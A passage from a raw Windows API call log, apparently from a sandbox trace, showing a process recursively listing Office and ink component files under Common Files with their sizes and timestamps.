nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0213.660] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0213.661] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0213.662] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0213.663] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0213.663] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0213.663] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0213.663] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0213.663] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0213.663] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0213.663] GetProcessHeap () returned 0xc10000 [0213.663] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0213.663] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0213.663] GetProcessHeap () returned 0xc10000 [0213.663] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0213.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0213.895] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.895] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0213.896] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0213.896] GetProcessHeap () returned 0xc10000 [0213.896] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.897] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.897] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.897] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.897] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0213.897] GetProcessHeap () returned 0xc10000 [0213.897] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.897] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0213.897] GetProcessHeap () returned 0xc10000 [0213.897] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.898] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.898] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.898] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.898] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0213.898] GetProcessHeap () returned 0xc10000 [0213.898] HeapFree (in: hHeap=0xc10000, 